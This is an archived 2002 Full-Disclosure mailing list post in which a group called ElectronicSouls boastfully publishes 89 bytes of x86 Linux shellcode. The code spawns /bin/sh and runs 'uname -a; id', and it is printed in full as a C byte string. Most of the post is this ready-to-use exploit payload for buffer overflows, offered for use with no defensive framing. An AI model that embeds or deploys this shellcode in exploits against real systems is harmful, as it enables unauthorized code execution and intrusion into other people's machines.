full-disclosure - [ElectronicSouls]

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] - x86 Linux Shellcode

-----BEGIN PGP SIGNED MESSAGE-----

Dear List,

Here's some killer x86/linux shellcode that I wrote while learning the
concept of bufferoverflows from aleph1's paper recently.  I took his
shellcoding techniques to the next level, by adding 'uname -a; id' to
the code, since often these commands are hard to remember and having a
nice automated shellcode do it for you is very nice. :>

Publishing shellcode proves that we know assembly.

#
cat EShellCode.c
/*
 * Linux x86 Shellcode to execute /bin/sh , uname -a, id
 * (C) BrainStorm [ElectronicSouls]
 * ..my 1st shell-code so i dont give a fuck what u think about it :)
 */

 /* shellcode - /bin/sh; uname -a; id | 89 bytes */

"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
"\xff\xff\x03\x65\x63\x68\x6f\x20\x5b\x45\x6c\x65"
"\x63\x74\x72\x6f\x6e\x69\x63\x53\x6f\x75\x6c\x73"
"\x5d\x3b\x20\x75\x6e\x61\x6d\x65\x20\x2d\x61\x3b"
"\x20\x69\x64\x3b\x20\x03\x2d\x63\x02\x2f\x62\x69"
"\x6e\x2f\x73\x68\x01";

#

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"Mommy, can I have one?"

-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify

wlMEARECABMFAj3nB5UMHGVzQGh1c2guY29tAAoJEN5nGqhGcjltybkAoLNKEtg0MpBl
AcmQwWmmY7tmZH5JAJwPHOzCVnN5qpO9BOInumoQx92NCg==
=iwja
-----END PGP SIGNATURE-----




Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2 

Big $$$ to be made with the HushMail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427